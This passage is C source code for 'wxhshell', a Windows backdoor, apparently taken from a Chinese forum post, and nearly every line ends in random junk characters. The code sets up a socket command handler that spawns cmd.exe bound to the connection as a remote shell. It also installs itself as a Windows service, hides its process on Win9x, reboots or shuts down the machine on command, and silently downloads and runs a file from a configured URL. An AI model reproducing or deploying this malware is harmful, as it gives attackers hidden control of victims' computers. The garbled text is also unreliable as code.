      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GH+FZ (F  
    break; ;s B:s9M  
  } U W)&Eky  
  // 安装 A8Z?[,Mq!  
  case 'i': { *2C79hi1  
    if(Install()) mF:s-+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ABe^]HlH  
    else !2M[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {ugKv?e ;  
    break; *9{Wn7pck/  
    } %TTL^@1!b  
  // 卸载 ecI 2]aKi  
  case 'r': { +-YuBVHL  
    if(Uninstall()) T&MS_E&;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . .je<   
    else H{Y=&#%d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I)%jPH:ua  
    break; (5DGs_>  
    } x7kg_`\U  
  // 显示 wxhshell 所在路径 yr 9)ga%  
  case 'p': { ="[](X^ l  
    char svExeFile[MAX_PATH]; $JSC+o(q3#  
    strcpy(svExeFile,"\n\r");  D6!+  
      strcat(svExeFile,ExeFile); _3G)S+ 7#  
        send(wsh,svExeFile,strlen(svExeFile),0); Odjd`DD1  
    break; Bsk2&17z  
    } oUKbzr/C  
  // 重启 0?;Hmq3  
  case 'b': { qg:I+"u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rf0\CEc  
    if(Boot(REBOOT)) JEF7hJz~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ${6'  
    else { ! E#.WX  
    closesocket(wsh); =RE_Urt:  
    ExitThread(0); aKzD63  
    } *k]S{]Y  
    break; a`X&;jH0ef  
    } z2q5f :d8  
  // 关机 ^Ro du  
  case 'd': { 8*~:gZ7:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]S aH/$  
    if(Boot(SHUTDOWN)) pV|?dQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T9<nD"=:  
    else { 8+cpNX  
    closesocket(wsh); u0KZrz  
    ExitThread(0); i[^lJ)[>N  
    } &j@J<*k  
    break; 5Zm_^IS  
    } l@J|p#0q  
  // 获取shell RGuHXf  
  case 's': { TaO;r=2  
    CmdShell(wsh); ;fME4Sp  
    closesocket(wsh); GE+csnA2  
    ExitThread(0); WB [G!'  
    break; YaT+BRh?  
  } 'wnY>hN  
  // 退出 "?&bh@P&  
  case 'x': { F1*rUsRKN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #TwE??ms  
    CloseIt(wsh); ]3u'Qv}o  
    break; ,(W98}nB  
    } CuO*>g^K[  
  // 离开 UKQ&TV}0  
  case 'q': { 2.2a2.I1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?q}wl\"8  
    closesocket(wsh); 3Wxtxk._E  
    WSACleanup(); :bDn.`KG#  
    exit(1); ZboJszNb;  
    break; nGgc~E$j  
        } A1}+j-D7!y  
  } Hf!4(\yN  
  } Xq!tXJ)  
Cwf$`?|W  
  // 提示信息 24/~gft  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6="&K_Q7  
} b<78K5'  
  } NRF%Qd8I/2  
wggHUr(g,  
  return; FtDA k?  
} }v ,P3  
j6(IF5MqP  
// shell模块句柄 wO)KQ~yX  
int CmdShell(SOCKET sock) 8'Bl=C|0X  
{ l:,UN07s  
STARTUPINFO si; B{(l 5B6  
ZeroMemory(&si,sizeof(si)); CHP6H}#|g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZM, ^R?e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iB`]Z@ZC  
PROCESS_INFORMATION ProcessInfo; A0u:Fm{E  
char cmdline[]="cmd";  8\ ;G+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -\C6j  
  return 0; Qnx92   
} :FpBz~!a  
L([>yQZ  
// 自身启动模式 =,G(1#  
int StartFromService(void) A8(PI)Ic.  
{ V46[whL%r  
typedef struct &7u Ra1/R  
{ EZRZ)h  
  DWORD ExitStatus; "FvlZRfXj  
  DWORD PebBaseAddress; \ySc uT  
  DWORD AffinityMask;   NX_S  
  DWORD BasePriority; d'fpaLV  
  ULONG UniqueProcessId; Q9zpX{JT  
  ULONG InheritedFromUniqueProcessId; %,D%Q~  
}   PROCESS_BASIC_INFORMATION; H,` XCG  
^V]DY!@k3_  
PROCNTQSIP NtQueryInformationProcess; k T>}(G||  
7Q}@L1A9F,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F|{?GV%hF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %k)I =|  
"0)G|pZI  
  HANDLE             hProcess; pT$AdvI]  
  PROCESS_BASIC_INFORMATION pbi; rqJj!{<B  
3h4"Rv=,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^:ngHue8~  
  if(NULL == hInst ) return 0; e91d~  
.]c:Zt}P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *3($s_r>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )/N! {`.9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (1]@ fCd +  
@Qozud\?  
  if (!NtQueryInformationProcess) return 0; {_}"USS  
--)[>6)I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !iOu07<n&D  
  if(!hProcess) return 0;  +@7R,8  
)E2Lf ]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &r!>2$B\  
/*HSAjv  
  CloseHandle(hProcess); m uY^Fx  
L$Z_j()2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nz l,y,  
if(hProcess==NULL) return 0; p:%E>K1<  
Q3Lqj2r  
HMODULE hMod; rdg1<Z  
char procName[255]; &H{>7q#r  
unsigned long cbNeeded; Lr&BZM  
hJN A%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _nq n|  
}cmL{S  
  CloseHandle(hProcess); G[,VPC=  
epm|pA*  
if(strstr(procName,"services")) return 1; // 以服务启动 b6BIDuRb  
YO+d+5  
  return 0; // 注册表启动 42LV>X#i  
} 6d8  
,1L^#?Q~  
// 主模块 tjt#VFq?  
int StartWxhshell(LPSTR lpCmdLine) TA7w:<  
{ i+3b)xtW7  
  SOCKET wsl; S/jHyJ,  
BOOL val=TRUE;  sOmYQ{R  
  int port=0; xw Qkk  
  struct sockaddr_in door; *A`^ C  
0AenDm@9  
  if(wscfg.ws_autoins) Install(); Qz;" b!  
rE~O}2a#H  
port=atoi(lpCmdLine); i%w'Cs0y  
+ P.Ir  
if(port<=0) port=wscfg.ws_port; ;ecF~-oku  
uESHTX/[  
  WSADATA data; n1h+`nsf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |lY8u~%  
-tZb\4kh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AWcP OU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F$C:4c  
  door.sin_family = AF_INET; C%"@|01cO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uRg^:  
  door.sin_port = htons(port); nr;/:[F  
8nM]G4H.f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?'r[P03  
closesocket(wsl); u5[Wr:  
return 1; UqbE  
} %+}\i'j7  
)DMbO"7  
  if(listen(wsl,2) == INVALID_SOCKET) { z)Gr`SA<  
closesocket(wsl); ><HXd+- sd  
return 1; (ol 3vt  
} l|9`22G  
  Wxhshell(wsl); QH:i)v*  
  WSACleanup(); ~Tolz H!  
uIBV1Qz  
return 0; 1'U-n{fD  
:+n7oOV  
} .w&Z=YM  
6 ?cV1:jh  
// 以NT服务方式启动 ^m\n[<x^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R?R6|4  
{ _35?z"0  
DWORD   status = 0; UF4QPPH4  
  DWORD   specificError = 0xfffffff; 7 m%|TwJN  
1Mqz+@~11  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GS@ wG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +8"H%#~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h#>67gJV  
  serviceStatus.dwWin32ExitCode     = 0; JaEyVe  
  serviceStatus.dwServiceSpecificExitCode = 0; &Jz%L^  
  serviceStatus.dwCheckPoint       = 0; Q_S fFsY  
  serviceStatus.dwWaitHint       = 0; 3? "GH1e  
oc.x1<Nd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %* 8QLI  
  if (hServiceStatusHandle==0) return; z^]nP 87  
qabM@+m[  
status = GetLastError(); eZHi6v)i  
  if (status!=NO_ERROR) <JlKtR&nSo  
{ fO+;%B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; va)\uXW.N  
    serviceStatus.dwCheckPoint       = 0; -z@}:N-uR  
    serviceStatus.dwWaitHint       = 0; Cv3H%g+as  
    serviceStatus.dwWin32ExitCode     = status; SU^/qF%8  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4Y'qo M;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @: NrC76  
    return; aOOY_S E  
  } aG!!z>  
^?,/_3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k5 8lmuU  
  serviceStatus.dwCheckPoint       = 0; MLJ8m  
  serviceStatus.dwWaitHint       = 0; ax$0J|}7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cuHs`{u@P  
} y}|zH  
tfsG P]9$  
// 处理NT服务事件,比如:启动、停止 DvGtO)5._  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %PQC9{hUy$  
{ H$ v4N8D8I  
switch(fdwControl) HV>Wf"1  
{ CUoMB r  
case SERVICE_CONTROL_STOP: nt7ui*k  
  serviceStatus.dwWin32ExitCode = 0; DF#Ob( 1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !#3R<bW`R8  
  serviceStatus.dwCheckPoint   = 0; *+iWB_  
  serviceStatus.dwWaitHint     = 0; [@(zGb8  
  { |h;MA,qva  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7G xNI  
  } b]Jh0B~Y  
  return; YVzK$k'3U  
case SERVICE_CONTROL_PAUSE: f -#fi7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v{I:Wxe  
  break; VFyt9:a  
case SERVICE_CONTROL_CONTINUE: IV\@GM:ait  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m{' q(w}  
  break; }b44^iL$9y  
case SERVICE_CONTROL_INTERROGATE: E~24b0<7  
  break; 1}N5WBp  
}; Z)HQlm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5(,WN  
} sUA)I%Q!  
om(#P5cSM;  
// 标准应用程序主函数 7oUYRqd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4&?%"2  
{ ?qdG)jo=  
g{&ux k);  
// 获取操作系统版本 OUD<+i,  
OsIsNt=GetOsVer(); U*zjEY:A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (FBKP#x)^  
7Y_S%B:F  
  // 从命令行安装 ]+oPwp;il  
  if(strpbrk(lpCmdLine,"iI")) Install(); p%n}a%%I  
HYtkSsXLN  
  // 下载执行文件 0 {w?u%'  
if(wscfg.ws_downexe) { t4nAy)I)P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %_5B"on  
  WinExec(wscfg.ws_filenam,SW_HIDE); %H:!/'45  
} WL>"hkx  
b afYjF< 3  
if(!OsIsNt) { Yu'lD`G  
// 如果时win9x,隐藏进程并且设置为注册表启动 <53~Y  
HideProc(); [IMa0qs'  
StartWxhshell(lpCmdLine); D:f0W v  
} {&3n{XrF(  
else `w&|~xT  
  if(StartFromService()) ~$+9L2gz  
  // 以服务方式启动 K2!KMhvQ  
  StartServiceCtrlDispatcher(DispatchTable); z[vMO%  
else *.20YruU;j  
  // 普通方式启动 -O{Af  
  StartWxhshell(lpCmdLine); =3sBWDB[  
&K}!R$[,:P  
return 0; #Ez>]`]TB  
}
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只看该作者 1 发表于: 2006-10-10
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